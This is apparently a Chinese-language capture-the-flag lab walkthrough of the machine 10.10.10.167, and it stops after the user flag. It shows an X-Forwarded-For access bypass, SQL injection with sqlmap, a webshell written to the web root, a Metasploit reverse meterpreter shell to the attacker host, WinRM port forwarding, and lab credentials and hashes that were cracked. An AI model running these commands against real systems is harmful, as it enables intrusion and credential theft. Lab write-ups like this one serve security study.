0x00 目标
Kali: 10.10.14.103
靶机地址:10.10.10.167
目标:user blood and root blood
0x01 信息收集
使用nmap对目标进行端口扫描:
开放端口:80、135、3306
首先尝试从80端口开始。
从web端发现了一个admin.php
但是提示访问被拒,通过代理访问。
查看页面源码发现,有了一个ip。
联想这个ip可不可以通过XFF头去访问admin.php。
尝试构造一个XFF头在数据包里。
X-Forwarded-For: 192.168.4.28
发现回显变了。说明就是构造一个XFF头去访问admin.php。
0x02 渗透过程
当前页面发现删改查。
感觉像有注入,抓包拿到sqlmap跑一下。
POST /view_product.php HTTP/1.1
Host: 10.10.10.167
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.167/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Connection: close
Upgrade-Insecure-Requests: 1
productId=32
不是dba,又尝试了下--os-shell
,udf能导入但是执行命令没有回显,这种情况说明数据库当前账号有写入权限。那么我们可以尝试进行另一种操作,通过数据库写入webshell到网站,不过需要网站的物理路径。
这里尝试了下直接写入到IIS默认路径C:/inetpub/wwwroot/cmd.php
。
webshell:
利用了sqlmap的--file-write
和--file-dest
。
sqlmap -r test --file-write=/root/cmd.php --file-dest=C:/inetpub/wwwroot/cmd.php --batch
利用weevely直接连:
weevely http://10.10.10.167/cmd.php xxx
然后拿到一个数据库账号密码:
manager
l3tm3!n
这时候又--dbs
发现的有mysql库。那应该可以直接读mysql 的账号密码啊。尝试拖出来三个账号。
database management system users password hashes:
[*] hector [1]:
password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
[*] manager [1]:
password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
[*] root [1]:
password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8
root的hash解不出来。只解出了hector的,目前我们有的
数据库账号密码:
manager:l3tm3!n
hector:l33th4x0rhector
之后我想尝试把shell弹到msf上去,这里用到了web_delivery模块。
use exploit/multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp
set lhost 10.10.14.103
set srvhost 10.10.14.103
set lport 7777
run
可以看到已经成功弹回了。
看了一下netstat -ano
。发现本地开放的端口中有一个5985端口。查了一下WinRM的默认端口是这个。
而他的pid是4。WinRM作为Windows系统的远程管理服务,或许我们可以从这个地方作为提权的突破口。
因为是在他内网,这里用了端口转发把5985端口转发出来。
portfwd add -l 5985 -p 5985 -r 10.10.10.167
然后去msf找winrm利用模块。
use auxiliary/scanner/winrm/winrm_cmd
set RHOSTS 127.0.0.1
set PASSWORD l3tm3!n
set USERNAME manager
set CMD whoami
发现这里总有问题,没有回显。通过msf尝试失败,可能是我配置的问题。
获得controlhector权限:
最后通过evil-winrm这个强大的工具连接上了,并且账号密码是之前读到的hector
用户。
这个shell好不稳定,但是勉强用了。。。
看到了路径是在C:\Users\Hector
下,那么自然可能就是我们需要的用户权限,来到C:\Users\Hector\Desktop
目录看到user.txt。
拿到了第一个flag。
下一步是提权到SYSTEM权限或者administrator权限。并且拿到administrator用户桌面的root.txt。
我要整理整理思路。未完待续。。。
0x03 总结
原文作者:Keefe
版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可